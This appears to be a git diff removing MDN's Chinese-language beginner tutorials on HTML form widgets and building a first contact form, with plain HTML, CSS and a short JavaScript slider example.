当使用 type时, 用户需要在框中输入有效的电子邮件地址;任何其他内容都会导致浏览器在提交表单时显示错误。注意,这是客户端错误验证,由浏览器执行:

- -

An invalid email input showing the message Please enter an email address.

- -

通过包括{{htmlattrxref("multiple","input")}}属性,它还可以让用户将多个电子邮件地址输入相同的输入(以逗号分隔)。

- -

在一些设备上(特别是在移动设备上),可能会出现一个不同的虚拟键盘,更适合输入电子邮件地址。

- -
-

注意: 您可以在表单数据验证文中找到关于表单验证的更多信息。

-
- -

密码框

- -

通过设置{{htmlattrxref("type","input")}} 属性值为password来设置该类型框:

- -
<input type="password" id="pwd" name="pwd">
- -

它不会为输入的文本添加任何特殊的约束,但是它会模糊输入到字段中的值(例如,用点或小行星),这样它就不能被其他人读取。

- -

请记住,这只是一个用户界面特性;除非你安全地提交你的表单,否则它会以明文发送,这不利于安全——恶意的一方可能会截获你的数据,窃取你的密码、信用卡信息,或者你提交的其他任何东西。保护用户不受此影响的最佳方式是在安全连接上托管任何涉及表单的页面(例如:https://……地址),使得数据在发送之前就已加密。

- -

现代浏览器认识到在不安全的连接上发送表单数据所带来的安全影响,并且已经实现了警告,以阻止用户使用不安全的表单。有关Firefox实现的更多信息,请参见不安全的密码

- -

搜索框

- -

通过设置 {{htmlattrxref("type","input")}}属性值为 search 来设置该类型框:

- -
<input type="search" id="search" name="search">
- -

文本框和搜索框之间的主要区别是浏览器的样式——通常,搜索框是渲染成圆角的,并且/可能给定一个“x”来清除输入的值。然而,还有另外一个值得注意的特性:它们的值可以被自动保存用来在同一站点上的多个页面上自动补全。

- -

Screenshots of search fields on several platforms.

- -

电话号码栏:

- -

通过 {{htmlattrxref("type","input")}}属性的 tel 值设置该类型框:

- -
<input type="tel" id="tel" name="tel">
- -

由于世界范围内各种各样的电话号码格式,这种类型的字段不会对用户输入的值执行任何限制(包括字母,等等)。这主要是在语义上的区分,尽管在一些设备上(特别是在移动设备上),可能会出现一个不同的虚拟键盘,更适合输入电话号码。

- -

URL 栏

- -

通过{{htmlattrxref("type","input")}}属性的url 值设置该类型框:

- -
<input type="url" id="url" name="url">
- -

它为字段添加了特殊的验证约束,如果输入无效的url,浏览器就会报告错误。

- -
注意:URL格式良好并不一定意味着它引用了一个实际存在的位置。
- -
-

注意:有特殊约束并出错了的输入框可以防止表单被发送;此外,还可以将它们设置为使错误更清晰。我们将在数据表单验证中详细讨论这个问题。

-
- -

多行文本框

- -

多行文本框专指使用 {{HTMLElement("textarea")}}元素,而不是使用{{HTMLElement("input")}} 元素。

- -
<textarea cols="30" rows="10"></textarea>
- -

textarea和常规的单行文本字段之间的主要区别是,允许用户输入包含硬换行符(即按回车)的文本。

- -

Screenshots of multi-lines text fields on several platforms.

- -
-

注意:你可以在Github上的multi-line-text-field.html看到本例(你也可以看预览版)。注意到在大多数浏览器中,文本区域在右下角有一个拖放操作,允许用户调整它的大小。这种调整能力可以通过使用CSS设置文本区域的{{cssxref("resize")}}性质为 none 来关闭。

-
- -

{{htmlelement("textarea")}} 还接受了一些额外的属性,以控制它在几行代码中呈现的效果 (除此以外还有其他几个):

- -

{{HTMLElement("textarea")}} 元素属性

- - - - - - - - - - - - - - - - - - - - - - - - - - -
属性名默认值描述
{{htmlattrxref("cols","textarea")}}20文本控件的可见宽度,平均字符宽度。
{{htmlattrxref("rows","textarea")}}控制的可见文本行数。
{{htmlattrxref("wrap","textarea")}}soft表示控件是如何包装文本的。可能的值:hard 或 soft
- -

注意,{{HTMLElement("textarea")}}元素与{{HTMLElement("input")}}元素的编写略有不同。{{HTMLElement("input")}}元素是一个空元素,这意味着它不能包含任何子元素。另一方面,{{HTMLElement("textarea")}}元素是一个常规元素,可以包含文本内容的子元素。

- -

这里有两个关键点需要注意:

- - - -

下拉内容

- -

下拉窗口小部件是一种简单的方法,可以让用户选择众多选项中的一个,而不需要占用用户界面的太多空间。HTML有两种类型的下拉内容:select boxautocomplete box。在这两种情况下,交互都是相同的——一旦控件被激活,浏览器就会显示用户可以选择的值列表。

- -
-

注意:你可以在Github上的drop-down-content.html看到本例(你也可以看预览版)。

-
- -

选择框

- -

一个选择框是用{{HTMLElement("select")}}元素创建的,其中有一个或多个{{HTMLElement("option")}}元素作为子元素,每个元素都指定了其中一个可能的值。

- -
<select id="simple" name="simple">
-  <option>Banana</option>
-  <option>Cherry</option>
-  <option>Lemon</option>
-</select>
- -

如果需要,可以使用{{htmlattrxref("selected","option")}}属性在所需的{{HTMLElement("option")}}元素上设置选择框的默认值---在页面加载时会默认选择该选项。{{HTMLElement("option")}}元素也可以嵌套在{{HTMLElement("optgroup")}}元素中,以创建视觉关联的组值:

- -
<select id="groups" name="groups">
-  <optgroup label="fruits">
-    <option>Banana</option>
-    <option selected>Cherry</option>
-    <option>Lemon</option>
-  </optgroup>
-  <optgroup label="vegetables">
-    <option>Carrot</option>
-    <option>Eggplant</option>
-    <option>Potato</option>
-  </optgroup>
-</select>
- -

Screenshots of single line select box on several platforms.

- -

如果一个{{HTMLElement("option")}}元素设置了value属性,那么当提交表单时该属性的值就会被发送。如果忽略了value属性,则使用{{HTMLElement("option")}}元素的内容作为选择框的值。

- -

在{{HTMLElement("optgroup")}}元素中,label属性显示在值之前,但即使它看起来有点像一个选项,它也不是可选的。

- -

多选选择框

- -

默认情况下,选择框只允许用户选择一个值。通过将{{htmlattrxref("multiple","select")}}属性添加到{{HTMLElement("select")}}元素,您可以允许用户通过操作系统提供的默认机制来选择几个值。 (如, 同时按下 Cmd/Ctrl 并点击多个值).

- -

注意:在多个选项选择框的情况下,选择框不再显示值为下拉内容——相反,它们都显示在一个列表中。

- -
<select multiple id="multi" name="multi">
-  <option>Banana</option>
-  <option>Cherry</option>
-  <option>Lemon</option>
-</select>
- -

Screenshots of multi-lines select box on several platforms.

- -
注意:所有支持 {{HTMLElement("select")}} 元素的浏览器也支持 {{htmlattrxref("multiple","select")}} 。
- -

自动补全输入框

- -

您可以使用{{HTMLElement("datalist")}}元素来为表单小部件提供建议的、自动完成的值,并使用一些{{HTMLElement("option")}}子元素来指定要显示的值。

- -

然后使用{{htmlattrxref("list","input")}}属性将数据列表绑定到一个文本框(通常是一个 <input> 元素)。

- -

一旦数据列表与表单小部件相关联,它的选项用于自动完成用户输入的文本;通常,这是作为一个下拉框提供给用户的,匹配在输入框中输入了的内容。

- -
<label for="myFruit">What's your favorite fruit?</label>
-<input type="text" name="myFruit" id="myFruit" list="mySuggestion">
-<datalist id="mySuggestion">
-  <option>Apple</option>
-  <option>Banana</option>
-  <option>Blackberry</option>
-  <option>Blueberry</option>
-  <option>Lemon</option>
-  <option>Lychee</option>
-  <option>Peach</option>
-  <option>Pear</option>
-</datalist>
- -
注意: 根据HTML规范,{{htmlattrxref("list","input")}} 属性和{{HTMLElement("datalist")}}元素元素可以用于任何需要用户输入的小部件。但是,除了文本控件外(例如颜色或日期),还不清楚它会如何工作,不同的浏览器在不同的情况下会有不同的表现。正因为如此,除了文本字段以外,要小心使用这个特性。
- -
Screenshots of datalist on several platforms.
- -
- -

数据列表支持和后备

- -

{{HTMLElement("datalist")}}元素是HTML表单的最新补充,因此浏览器的支持比我们之前看到的要少一些。最值得注意的是,它在版本小于10的IE中不受支持,同时在版本小于12的Safari中不受支持。

- -

为了处理这个问题,这里有一个小技巧,可以为这些浏览器提供一个不错的备用:

- -
<label for="myFruit">What is your favorite fruit? (With fallback)</label>
-<input type="text" id="myFruit" name="fruit" list="fruitList">
-
-<datalist id="fruitList">
-  <label for="suggestion">or pick a fruit</label>
-  <select id="suggestion" name="altFruit">
-    <option>Apple</option>
-    <option>Banana</option>
-    <option>Blackberry</option>
-    <option>Blueberry</option>
-    <option>Lemon</option>
-    <option>Lychee</option>
-    <option>Peach</option>
-    <option>Pear</option>
-  </select>
-</datalist>
-
- -

支持{{HTMLElement("datalist")}}元素的浏览器将忽略所有不是{{HTMLElement("option")}}元素的元素,并按照预期工作。另一方面,不支持{{HTMLElement("datalist")}}元素的浏览器将显示标签和选择框。当然,还有其他方法可以处理对{{HTMLElement("datalist")}}元素支持的不足,但这是最简单的(其他方法往往需要JavaScript)。

- - - - - - - - - - - - -
Safari 6Screenshot of the datalist element fallback with Safari on Mac OS
Firefox 18Screenshot of the datalist element with Firefox on Mac OS
- -

可选中项

- -

可选中项是可以通过单击它们来更改状态的小部件。有两种可选中项:复选框和单选按钮。两者都使用{{htmlattrxref("checked","input")}}属性,以指示该部件的默认状态: "选中"或"未选中"。

- -

值得注意的是,这些小部件与其他表单小部件不一样。对于大多数表单部件,一旦表单提交,所有具有{{htmlattrxref("name","input")}}属性的小部件都会被发送,即使没有任何值被填。对于可选中项,只有在勾选时才发送它们的值。如果他们没有被勾选,就不会发送任何东西,甚至连他们的名字也没有。

- -
-

注意: 你可以在Github上看到 checkable-items.html (你也可以看预览版)。

-
- -

为了获得最大的可用性和可访问性,建议您在{{htmlelement("fieldset")}}中包围每个相关项目的列表,并使用{{htmlelement("legend")}}提供对列表的全面描述。每个单独的{{htmlelement("label")}}/{{htmlelement("input")}}元素都应该包含在它自己的列表项中(或者类似的)。正如在示例中显示的。

- -

您还需要为这些类型的输入提供value属性,如果您想让它们具有意义——如果没有提供任何值,则复选框和单选按钮被赋予一个 on值。

- -

复选框

- -

使用{{htmlattrxref("type","input")}}属性值为checkbox的 {{HTMLElement("input")}}元素来创建一个复选框。

- -
<input type="checkbox" checked id="carrots" name="carrots" value="carrots">
-
- -

包含checked属性使复选框在页面加载时自动被选中。

- -

Screenshots of check boxes on several platforms.

- -

单选按钮

- -

使用{{htmlattrxref("type","input")}}属性值为radio的 {{HTMLElement("input")}}元素来创建一个单选按钮。

- -
<input type="radio" checked id="soup" name="meal">
- -

几个单选按钮可以连接在一起。如果它们的{{htmlattrxref("name","input")}}属性共享相同的值,那么它们将被认为属于同一组的按钮。同一组中只有一个按钮可以同时被选;这意味着当其中一个被选中时,所有其他的都将自动未选中。如果没有选中任何一个,那么整个单选按钮池就被认为处于未知状态,并且没有以表单的形式发送任何值。

- -
<fieldset>
-  <legend>What is your favorite meal?</legend>
-  <ul>
-    <li>
-      <label for="soup">Soup</label>
-      <input type="radio" checked id="soup" name="meal" value="soup">
-    </li>
-    <li>
-      <label for="curry">Curry</label>
-      <input type="radio" id="curry" name="meal" value="curry">
-    </li>
-    <li>
-      <label for="pizza">Pizza</label>
-      <input type="radio" id="pizza" name="meal" value="pizza">
-    </li>
-  </ul>
-</fieldset>
- -

Screenshots of radio buttons on several platforms.

- -

按钮

- -

在HTML表单中,有三种按钮:

- -
-
Submit
-
将表单数据发送到服务器。对于{{HTMLElement("button")}} 元素, 省略 type 属性 (或是一个无效的 type 值) 的结果就是一个提交按钮.
-
Reset
-
将所有表单小部件重新设置为它们的默认值。
-
Anonymous
-
没有自动生效的按钮,但是可以使用JavaScript代码进行定制。
-
- -
-

注意: 你可以在Github上看到button-examples.html (你也可以看预览版)。

-
- -

使用 {{HTMLElement("button")}}元素或者{{HTMLElement("input")}}元素来创建一个按钮。{{htmlattrxref("type","input")}}属性的值指定显示什么类型的按钮。

- -

submit

- -
<button type="submit">
-    This a <br><strong>submit button</strong>
-</button>
-
-<input type="submit" value="This is a submit button">
- -

reset

- -
<button type="reset">
-    This a <br><strong>reset button</strong>
-</button>
-
-<input type="reset" value="This is a reset button">
- -

button

- -
<button type="button">
-    This an <br><strong>anonymous button</strong>
-</button>
-
-<input type="button" value="This is an anonymous button">
- -

不管您使用的是{{HTMLElement("button")}}元素还是{{HTMLElement("input")}}元素,按钮的行为都是一样的。然而,有一些显著的不同之处:

- - - -

Screenshots of buttons on several platforms.

- -

从技术上讲,使用{{HTMLElement("button")}}元素或{{HTMLElement("input")}}元素定义的按钮几乎没有区别。唯一值得注意的区别是按钮本身的标签。在{{HTMLElement("input")}}元素中,标签只能是字符数据,而在{{HTMLElement("button")}}元素中,标签可以是HTML,因此可以相应地进行样式化。

- -

高级表单部件

- -

在本节中,我们将介绍那些让用户输入复杂或不寻常数据的小部件。这包括精确的或近似的数字,日期和时间,或颜色。

- -
-

注意: 你可以在Github上看到advanced-examples.html (你也可以看预览版)。

-
- -

数字

- -

用于数字的小部件是用{{htmlattrxref("type","input")}}属性设置为number{{HTMLElement("input")}}的元素创建的。这个控件看起来像一个文本框,但是只允许浮点数,并且通常提供一些按钮来增加或减少小部件的值。

- -

也可以:

- - - -

例子

- -
<input type="number" name="age" id="age" min="1" max="10" step="2">
- -

这将创建一个数字小部件,其值被限制为1到10之间的任何值,而其增加和减少按钮的步进值将更改为2。

- -

在10以下的Internet Explorer版本中不支持number 输入。

- -

滑块

- -

另一种选择数字的方法是使用滑块。从视觉上讲,滑块没有文本字段准确,因此它们被用来选择一个确切值并不重要的数字。

- -

滑块是通过把{{HTMLElement("input")}}元素的{{htmlattrxref("type","input")}}属性值设置为range来创建的。正确配置滑块是很重要的;为了达到这个目的,我们强烈建议您设置{{htmlattrxref("min","input")}}、{{htmlattrxref("max","input")}}和{{htmlattrxref("step","input")}}属性。

- -

例子

- -
<input type="range" name="beans" id="beans" min="0" max="500" step="10">
- -

这个例子创建了一个滑块,它可能的值在0到500之间,而它的递增/递减按钮以+10和-10来改变值。

- -

滑块的一个问题是,它们不提供任何形式的视觉反馈,以了解当前的值是什么。您需要使用JavaScript来添加这一点,但这相对来说比较容易。在本例中,我们添加了一个空的{{htmlelement("span")}}元素,其中我们将写入滑块的当前值,并随着更改实时更新它。

- -
<label for="beans">How many beans can you eat?</label>
-<input type="range" name="beans" id="beans" min="0" max="500" step="10">
-<span class="beancount"></span>
- -

可以使用一些简单的JavaScript实现

- -
var beans = document.querySelector('#beans');
-var count = document.querySelector('.beancount');
-
-count.textContent = beans.value;
-
-beans.oninput = function() {
-  count.textContent = beans.value;
-}
- -

这里我们将对范围输入值和span的引用存储在两个变量里,然后我们立即将span的textContent设置为输入的当前value。最后,我们设置了一个oninput事件处理程序,以便每次移动范围滑块时,都会将span textContent更新为新的输入值。

- -

在10以下的Internet Explorer版本中不支持range 。

- -

日期时间选择器

- -

对于web开发人员来说,收集日期和时间值一直是一场噩梦。HTML5通过提供一种特殊的控制来处理这种特殊的数据,从而带来了一些增强。

- -

使用{{HTMLElement("input")}}元素和一个适当的值的{{htmlattrxref("type","input")}}属性来创建日期和时间控制,这取决于您是否希望收集日期、时间或两者都。

- -

本地时间

- -

这将创建一个小部件来显示和选择一个日期,但是没有任何特定的时区信息。

- -
<input type="datetime-local" name="datetime" id="datetime">
- -

- -

这就创建了一个小部件来显示和挑选一个月。

- -
<input type="month" name="month" id="month">
- -

时间

- -

这将创建一个小部件来显示并选择一个时间值。

- -
<input type="time" name="time" id="time">
- -

星期

- -

这将创建一个小部件来显示并挑选一个星期号和它的年份。

- -
<input type="week" name="week" id="week">
- -

所有日期和时间控制都可以使用{{htmlattrxref("min","input")}}和{{htmlattrxref("max","input")}}属性来约束。

- -
<label for="myDate">When are you available this summer?</label>
-<input type="date" name="myDate" min="2013-06-01" max="2013-08-31" id="myDate">
- -

警告——日期和时间窗口小部件仍然很不受支持。目前,Chrome、Edge和Opera都支持它们,但IE浏览器没有支持,Firefox和Safari对这些都没有太大的支持。

- -

拾色器

- -

颜色总是有点难处理。有很多方式来表达它们:RGB值(十进制或十六进制)、HSL值、关键字等等。颜色小部件允许用户在文本和可视的方式中选择颜色。

- -

一个颜色小部件是使用{{htmlattrxref("type","input")}}属性设置为值color{{HTMLElement("input")}}的元素创建的。

- -
<input type="color" name="color" id="color">
- -

警告——并不是所有浏览器都支持拾色器。IE中没有支持,Safari目前也不支持它。其他主要的浏览器都支持它。

- -

其他小部件

- -

还有一些其他的小部件由于它们非常特殊的行为而不能很容易地分类,但是它们仍然非常有用。

- -
-

注意: 你可以在Github上看到other-examples.html(你也可以看预览版)。

-
- -

文件选择器

- -

HTML表单能够将文件发送到服务器;在发送和检索表单数据的文章中详细描述了这个特定的操作。文件选择器小部件是用户如何选择一个或多个文件来发送的。

- -

要创建一个文件选择器小部件,您可以使用{{HTMLElement("input")}}元素,将它的{{htmlattrxref("type","input")}}属性设置为file。被接受的文件类型可以使用{{htmlattrxref("accept","input")}}属性来约束。此外,如果您想让用户选择多个文件,那么可以通过添加{{htmlattrxref("multiple","input")}}属性来实现。

- -

例子

- -

在本例中,创建一个文件选择器,请求图形图像文件。在本例中,允许用户选择多个文件。

- -
<input type="file" name="file" id="file" accept="image/*" multiple>
- -

隐藏内容

- -

有时候,由于为了方便技术原因,有些数据是用表单发送的,但不显示给用户。要做到这一点,您可以在表单中添加一个不可见的元素。要做到这一点,需要使用{{HTMLElement("input")}}将它的{{htmlattrxref("type","input")}}属性设置为hidden值。

- -

如果您创建了这样一个元素,就需要设置它的namevalue属性:

- -
<input type="hidden" id="timestamp" name="timestamp" value="1286705410">
- -

图像按钮

- -

图像按钮控件是一个与{{HTMLElement("img")}}元素完全相同的元素,除了当用户点击它时,它的行为就像一个提交按钮(见上面)。

- -

图像按钮是使用{{htmlattrxref("type","input")}}属性值设置为image{{HTMLElement("input")}}的元素创建的。这个元素支持与{{HTMLElement("img")}}元素相同的属性,和其他表单按钮支持的所有属性。

- -
<input type="image" alt="Click me!" src="my-img.png" width="80" height="30" />
- -

如果使用图像按钮来提交表单,这个小部件不会提交它的值;相反,提交的是在图像上单击处的X和Y坐标(坐标是相对于图像的,这意味着图像的左上角表示坐标0,0),坐标被发送为两个键/值对:

- - - -

例如,当您点击这个小部件的图像时,您将被发送到一个URL,如下所显示的

- -
http://foo.com?pos.x=123&pos.y=456
- -

这是构建“热图”的一种非常方便的方式。如何发送和检索这些值在发送和检索表单数据文章中详细说明。

- -

仪表和进度条

- -

仪表和进度条是数值的可视化表示。

- -

进度条

- -

一个进度条表示一个值,它会随着时间的变化而变化到最大的值,这个值由{{htmlattrxref("max","progress")}}属性指定。这样的一个bar是使用{{ HTMLElement("progress")}}元素创建的。

- -
<progress max="100" value="75">75/100</progress>
- -

这是为了实现任何需要进度报告的内容,例如下载的总文件的百分比,或者问卷中填写的问题的数量。

- -

{{HTMLElement("progress")}}元素中的内容用于不支持该元素的浏览器的回退,以及辅助技术对其朗读。

- -

仪表

- -

一个仪表表示一个固定值,这个值由一个{{htmlattrxref("min","meter")}}和一个{{htmlattrxref("max","meter")}}值所界定。这个值是作为一个条形显示的,并且为了知道这个工具条是什么样子的,我们将这个值与其他一些设置值进行比较

- - - -

所有实现{{HTMLElement("meter")}}元素的浏览器都使用这些值来改变米尺的颜色。

- - - -

这样的一个工具栏是使用{{HTMLElement("meter")}}元素创建的。这是用于实现任何类型的仪表,例如一个显示磁盘上使用的总空间的条,当它开始满时,它会变成红色。

- -
<meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter>
- -

{{HTMLElement("meter")}}元素中的内容是不支持该元素的浏览器的回退,以及辅助技术对其发出的声音。

- -

对进度条和仪表的支持是相当不错的,在Internet Explorer中没有支持,但是其他浏览器都可以很好的支持它。

- -

总结

- -

正如您在上面看到的,有许多不同类型的可用表单元素——您不需要一次性记住所有细节,可以随时返回本文查看详细信息。

- -

另见

- -

要深入了解不同的表单小部件,您需要了解一些有用的外部资源:

- - - -

{{PreviousMenuNext("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/html/forms/your_first_html_form/index.html b/files/zh-cn/learn/html/forms/your_first_html_form/index.html deleted file mode 100644 index 5b0adc1480..0000000000 --- a/files/zh-cn/learn/html/forms/your_first_html_form/index.html +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: 创建我的第一个表单 -slug: Learn/HTML/Forms/Your_first_HTML_form -translation_of: Learn/Forms/Your_first_form ---- -

{{LearnSidebar}}{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

- -

本系列的第一篇文章提供了您第一次创建HTML表单的经验,包括设计一个简单表单,使用正确的HTML元素实现它,通过CSS添加一些非常简单的样式,以及如何将数据发送到服务器。

- - - - - - - - - - - - -
预备知识: -

基本计算机素养和对HTML的基本理解

-
目标:为了熟悉HTML表单是什么,它们被用来做什么,如何设计它们,以及简单情况下需要的基本HTML元素。
- -

HTML表单是什么?

- -

HTML表单是用户和web站点或应用程序之间交互的主要内容之一。它们允许用户将数据发送到web站点。大多数情况下,数据被发送到web服务器,但是web页面也可以自己拦截它并使用它。

- -

HTML表单是由一个或多个小部件组成的。这些小部件可以是文本字段(单行或多行)、选择框、按钮、复选框或单选按钮。大多数情况下,这些小部件与描述其目的的标签配对——正确实现的标签能够清楚地指示视力正常的用户和盲人用户输入表单所需的内容。

- -

HTML表单和常规HTML文档的主要区别在于,大多数情况下,表单收集的数据被发送到web服务器。在这种情况下,您需要设置一个web服务器来接收和处理数据。如何设置这样的服务器超出了本文的范围,但是如果您想了解更多,请参阅模块后面的发送表单数据

- -

设计表单

- -

在开始编写代码之前,最好先退一步,花点时间考虑一下您的表单。设计一个快速的模型将帮助您定义您想要询问用户的正确的数据集。从用户体验(UX)的角度来看,要记住:表单越大,失去用户的风险就越大。保持简单,保持专注:只要求必要的数据。在构建站点或应用程序时,设计表单是非常重要的一步。这超出了本文的范围,涵盖了表单的用户体验,但是如果您想深入了解这个主题,您应该阅读下面的文章:

- - - -

在本文中,我们将构建一个简单的联系人表单。让我们做一个粗略的草图。

- -

The form to build, roughly sketch

- -

我们的表单将包含三个文本字段和一个按钮。我们向用户询问他们的姓名、电子邮件和他们想要发送的信息。点击这个按钮将把他们的数据发送到一个web服务器。

- -

主动学习:使用HTML实现我们的表单

- -

好了,现在我们准备进入HTML代码并对表单进行编码。为了构建我们的联系人表单,我们将使用以下HTML元素:{{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, and {{HTMLElement("button")}}.

- -

在进一步讨论之前,先创建一个简单HTML模板的本地副本—您将在这里输入您的表单HTML。

- -

{{HTMLElement("form")}} 元素

- -

所有HTML表单都以一个{{HTMLElement("form")}}元素开始:

- -
<form action="/my-handling-form-page" method="post">
-
-</form>
- -

这个元素正式定义了一个表单。就像{{HTMLElement("div")}}元素或{{HTMLElement("p")}}元素,它是一个容器元素,但它也支持一些特定的属性来配置表单的行为方式。它的所有属性都是可选的,但实践中最好至少要设置action属性和method属性。

- - - -
-

注意:如果您想深入了解这些属性是如何工作的,那么将在发送表单数据文章中详细说明。

-
- -

现在,将上面的{{htmlelement("form")}} 元素添加到您的HTML主体中

- -

{{HTMLelement("label")}}, {{HTMLelement("input")}} 和 {{HTMLelement("textarea")}} 元素

- -

我们的联系人表单非常简单,包含三个文本字段,每个字段都有一个标签。该名称的输入字段将是一个基本的单行文本字段,电子邮件的输入字段将是一个只接受电子邮件地址的单行文本字段,而消息的输入字段将是一个基本的多行文本字段。

- -

就HTML代码而言,我们需要如下的东西来实现这些表单小部件:

- -
<form action="/my-handling-form-page" method="post">
-  <div>
-    <label for="name">Name:</label>
-    <input type="text" id="name">
-  </div>
-  <div>
-    <label for="mail">E-mail:</label>
-    <input type="email" id="mail">
-  </div>
-  <div>
-    <label for="msg">Message:</label>
-    <textarea id="msg"></textarea>
-  </div>
-</form>
- -

更新您的表单代码,使其看起来像上面的代码。

- -

使用{{HTMLElement("div")}} 元素可以使我们更加方便地构造我们自己的代码,并且更容易样式化(参见本文后面的文章)。注意在所有{{HTMLElement("label")}}元素上使用for属性;它是将标签链接到表单小部件的一种正规方式。这个属性引用对应的小部件的id。这样做有一些好处。最明显的一个好处是允许用户单击标签以激活相应的小部件。如果您想更好地理解这个属性的其他好处,您可以找到如何构造HTML表单的详细信息

- -

在 {{HTMLElement("input")}}元素中,最重要的属性是type 属性。这个属性非常重要,因为它定义了{{HTMLElement("input")}}属性的行为方式。它可以从根本上改变元素,所以要注意它。稍后您将在原生表单控件文章中找到更多关于此的内容。

- - - -

最后但同样重要的是,要注意<input> 和 <textarea></textarea>的语法。这是HTML的一个奇怪之处。 <input> 标签是一个空元素,这意味着它不需要关闭标签。相反, {{HTMLElement("textarea")}}不是一个空元素,因此必须使用适当的结束标记来关闭它。这对HTML表单的特定特性有影响:定义默认值的方式。要定义{{HTMLElement("input")}}的默认值,你必须使用value 属性,如下所示:

- -
<input type="text" value="by default this element is filled with this text" />
- -

相反,如果您想定义{{HTMLElement("textarea")}}的默认值,您只需在{{HTMLElement("textarea")}}元素的开始和结束标记之间放置默认值,就像这样:

- -
<textarea>by default this element is filled with this text</textarea>
- -

{{HTMLelement("button")}} 元素

- -

我们的表格已经快准备好了,我们只需要再添加一个按钮,让用户在填写完表单后发送他们的数据。这是通过使用 {{HTMLelement("button")}} 元素完成的。在 </form>这个结束标签上方添加以下内容:

- -
<div class="button">
-  <button type="submit">Send your message</button>
-</div>
-
- -

您会看到{{htmlelement("button")}}元素也接受一个 type属性,它接受submitreset或者 button 三个值中的任一个。

- - - -
-

注意:您还可以使用相应类型的 {{HTMLElement("input")}}元素来生成一个按钮,如 <input type="submit">。{{htmlelement("button")}}元素的主要优点是, {{HTMLElement("input")}}元素只允许纯文本作为其标签,而{{htmlelement("button")}}元素允许完整的HTML内容,允许更复杂、更有创意的按钮文本。

-
- -

基本表单样式

- -

现在您已经完成了表单的HTML代码,尝试保存它并在浏览器中查看它。
- 现在,你会看到它看起来很丑。

- -

- -
-

注意: 如果你怀疑你的HTML代码不对,试着把它和我们完成的例子进行比较 —— first-form.html (你也可以观看预览版)。

-
- -

如何排布好表单是公认的难点。这超出了本文的讨论范围,所以现在我们只需要让您添加一些CSS来让它看起来很好。

- -

首先,在您的HTML头部中添加一个 {{htmlelement("style")}}元素。应该是这样的:

- -
<style>
-
-</style>
- -

在样式标签中,添加如下的CSS,如下所示:

- -
form {
-  /* 居中表单 */
-  margin: 0 auto;
-  width: 400px;
-  /* 显示表单的轮廓 */
-  padding: 1em;
-  border: 1px solid #CCC;
-  border-radius: 1em;
-}
-
-ul {
-  list-style: none;
-  padding: 0;
-  margin: 0;
-}
-
-form li + li {
-  margin-top: 1em;
-}
-
-label {
-  /* 确保所有label大小相同并正确对齐 */
-  display: inline-block;
-  width: 90px;
-  text-align: right;
-}
-
-input, textarea {
-  /* 确保所有文本输入框字体相同
-     textarea默认是等宽字体 */
-  font: 1em sans-serif;
-
-  /* 使所有文本输入框大小相同 */
-  width: 300px;
-  box-sizing: border-box;
-
-  /* 调整文本输入框的边框样式 */
-  border: 1px solid #999;
-}
-
-input:focus, textarea:focus {
-  /* 给激活的元素一点高亮效果 */
-  border-color: #000;
-}
-
-textarea {
-  /* 使多行文本输入框和它们的label正确对齐 */
-  vertical-align: top;
-
-  /* 给文本留下足够的空间 */
-  height: 5em;
-}
-
-.button {
-  /* 把按钮放到和文本输入框一样的位置 */
-  padding-left: 90px; /* 和label的大小一样 */
-}
-
-button {
-  /* 这个外边距的大小与label和文本输入框之间的间距差不多 */
-  margin-left: .5em;
-}
- -

现在,它看起来没那么丑了。

- -

- -
-

注意: 你可以在GitHub上的这里找到它 first-form-styled.html (也可以在这儿看运行结果).

-
- -

向您的web服务器发送表单数据

- -

最后一部分,也许是最棘手的部分,是在服务器端处理表单数据。如前所述,大多数时候HTML表单是向用户请求数据并将其发送到web服务器的一种方便的方式。

- -

{{HTMLelement("form")}} 元素将定义如何通过action 属性和 method属性来发送数据的位置和方式。

- -

但这还不够。我们还需要为我们的数据提供一个名称。这些名字对双方都很重要:在浏览器端,它告诉浏览器给数据各自哪个名称,在服务器端,它允许服务器按名称处理每个数据块。

- -

要将数据命名为表单,您需要在每个表单小部件上使用 name 属性来收集特定的数据块。让我们再来看看我们的表单代码:

- -
<form action="/my-handling-form-page" method="post">
-  <div>
-    <label for="name">Name:</label>
-    <input type="text" id="name" name="user_name">
-  </div>
-  <div>
-    <label for="mail">E-mail:</label>
-    <input type="email" id="mail" name="user_email">
-  </div>
-  <div>
-    <label for="msg">Message:</label>
-    <textarea id="msg" name="user_message"></textarea>
-  </div>
-
-  ...
- -

在我们的例子中,表单会发送三个已命名的数据块 "user_name", "user_email", 和 "user_message"。这些数据将用使用HTTP POST 方法,把信息发送到URL为 "/my-handling-form-page"目录下。

- -

在服务器端,位于URL"/my-handling-form-page" 上的脚本将接收的数据作为HTTP请求中包含的3个键/值项的列表。这个脚本处理这些数据的方式取决于您。每个服务器端语言(PHP、Python、Ruby、Java、c等等)都有自己的机制。深入到这个主题已经超出了本指南的范围,但是如果您想了解更多,我们已经在发送表单数据文章中提供了一些示例。 

- -

总结

- -

祝贺您,您已经构建了您的第一个HTML表单。它看起来就像这样:

- -

{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/HTML/Forms/Your_first_HTML_form/Example') }}

- -

然而,这仅仅是开始,现在是时候深入研究了。HTML表单比我们在这里看到的要强大得多,本指南的其他文章将帮助您掌握其余部分。

- -

{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/html/forms_and_buttons/index.html b/files/zh-cn/learn/html/forms_and_buttons/index.html deleted file mode 100644 index a0f74f6ef1..0000000000 --- a/files/zh-cn/learn/html/forms_and_buttons/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 表单和按钮 -slug: learn/HTML/Forms_and_buttons -tags: - - 初学者 - - 指引 - - 文章 - - 表单 -translation_of: Learn/HTML/Forms_and_buttons ---- -

{{draft}}{{LearnSidebar}}

- -

表单和按钮是Web的一个非常重要的部分 - 这些允许您的站点访问者输入数据并将其发送给您(例如注册,登录和反馈表单),并且您可以实现控制以控制复杂功能(例如提交表单) 到服务器,或暂停播放视频。)这个模块可以帮助您入门。

- -

先决条件

- -

